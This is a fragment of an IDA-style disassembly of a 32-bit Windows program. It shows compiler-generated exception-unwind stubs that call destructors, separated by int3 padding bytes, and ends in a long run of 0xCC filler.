		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B6A4:				; DATA XREF: ___:00425BD2o
		mov	eax, offset dword_441928
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426450	proc near		; DATA XREF: sub_426450+2o
		mov	eax, offset dword_441A08
		jmp	sub_4367C8
SEH_426450	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B708:				; DATA XREF: ___:00441A64o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4264C0	proc near		; DATA XREF: sub_4264C0+2o
		mov	eax, offset dword_441A38
		jmp	sub_4367C8
SEH_4264C0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B758:				; DATA XREF: ___:00441AB4o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426560	proc near		; DATA XREF: sub_426560+2o
		mov	eax, offset dword_441A88
		jmp	sub_4367C8
SEH_426560	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4266A0	proc near		; DATA XREF: sub_4266A0+2o
		mov	eax, offset dword_441AD8
		jmp	sub_4367C8
SEH_4266A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4269A0	proc near		; DATA XREF: sub_4269A0+2o
		mov	eax, offset dword_441B08
		jmp	sub_4367C8
SEH_4269A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426A60	proc near		; DATA XREF: sub_426A60+2o
		mov	eax, offset dword_441B38
		jmp	sub_4367C8
SEH_426A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426EB0	proc near		; DATA XREF: sub_426EB0+2o
		mov	eax, offset dword_441B68
		jmp	sub_4367C8
SEH_426EB0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426F70	proc near		; DATA XREF: sub_426F70+2o
		mov	eax, offset dword_441B98
		jmp	sub_4367C8
SEH_426F70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427590	proc near		; DATA XREF: sub_427590+2o
		mov	eax, offset dword_441BC8
		jmp	sub_4367C8
SEH_427590	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427650	proc near		; DATA XREF: sub_427650+2o
		mov	eax, offset dword_441BF8
		jmp	sub_4367C8
SEH_427650	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427DC0	proc near		; DATA XREF: sub_427DC0+2o
		mov	eax, offset dword_441C28
		jmp	sub_4367C8
SEH_427DC0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B8A8:				; DATA XREF: ___:00441C84o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427E30	proc near		; DATA XREF: sub_427E30+2o
		mov	eax, offset dword_441C58
		jmp	sub_4367C8
SEH_427E30	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B908:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427EF0	proc near		; DATA XREF: sub_427EF0+2o
		mov	eax, offset dword_441CB0
		jmp	sub_4367C8
SEH_427EF0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43B968:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428160	proc near		; DATA XREF: sub_428160+2o
		mov	eax, offset dword_441D08
		jmp	sub_4367C8
SEH_428160	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------


loc_43B9AB:				; DATA XREF: ___:00441D74o
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BA92:				; DATA XREF: sub_4282C0+8o
		mov	eax, offset dword_441D48
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4299C0	proc near		; DATA XREF: sub_4299C0+2o
		mov	eax, offset dword_441E30
		jmp	sub_4367C8
SEH_4299C0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429AA0	proc near		; DATA XREF: sub_429AA0+2o
		mov	eax, offset dword_441E60
		jmp	sub_4367C8
SEH_429AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429D00	proc near		; DATA XREF: sub_429D00+2o
		mov	eax, offset dword_441E90
		jmp	sub_4367C8
SEH_429D00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A090	proc near		; DATA XREF: sub_42A090+2o
		mov	eax, offset dword_441EC0
		jmp	sub_4367C8
SEH_42A090	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A150	proc near		; DATA XREF: sub_42A150+8o
		mov	eax, offset dword_441EF0
		jmp	sub_4367C8
SEH_42A150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AEC0	proc near		; DATA XREF: sub_42AEC0+5o
		mov	eax, offset dword_441F20
		jmp	sub_4367C8
SEH_42AEC0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43BB90:				; DATA XREF: ___:0042AFD5o
		mov	eax, offset dword_441F80
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BBA8:				; DATA XREF: ___:0044200Co
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B060	proc near		; DATA XREF: sub_42B060+2o
		mov	eax, offset dword_441FE0
		jmp	sub_4367C8
SEH_42B060	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B240	proc near		; DATA XREF: sub_42B240+2o
		mov	eax, offset dword_442020
		jmp	sub_4367C8
SEH_42B240	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43BC08:				; DATA XREF: ___:0042B2E2o
		mov	eax, offset dword_442050
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B480	proc near		; DATA XREF: sub_42B480+2o
		mov	eax, offset dword_442080
		jmp	sub_4367C8
SEH_42B480	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4420B0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B880	proc near		; DATA XREF: sub_42B880+8o
		mov	eax, offset dword_4420E0
		jmp	sub_4367C8
SEH_42B880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42BB70	proc near		; DATA XREF: sub_42BB70+2o
		mov	eax, offset dword_442110
		jmp	sub_4367C8
SEH_42BB70	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BD84:				; DATA XREF: ___:0042BE68o
		mov	eax, offset dword_442168
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4347B0	proc near		; DATA XREF: sub_4347B0+2o
		mov	eax, offset dword_442250
		jmp	sub_4367C8
SEH_4347B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDEB:				; DATA XREF: ___:004422B4o
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDF6:				; DATA XREF: ___:004348A8o
		mov	eax, offset dword_442288
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4351E0	proc near		; DATA XREF: sub_4351E0+2o
		mov	eax, offset dword_4422C0
		jmp	sub_4367C8
SEH_4351E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4355E0	proc near		; DATA XREF: sub_4355E0+2o
		mov	eax, offset dword_4422F0
		jmp	sub_4367C8
SEH_4355E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4356F0	proc near		; DATA XREF: sub_4356F0+8o
		mov	eax, offset dword_442328
		jmp	sub_4367C8
SEH_4356F0	endp

; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
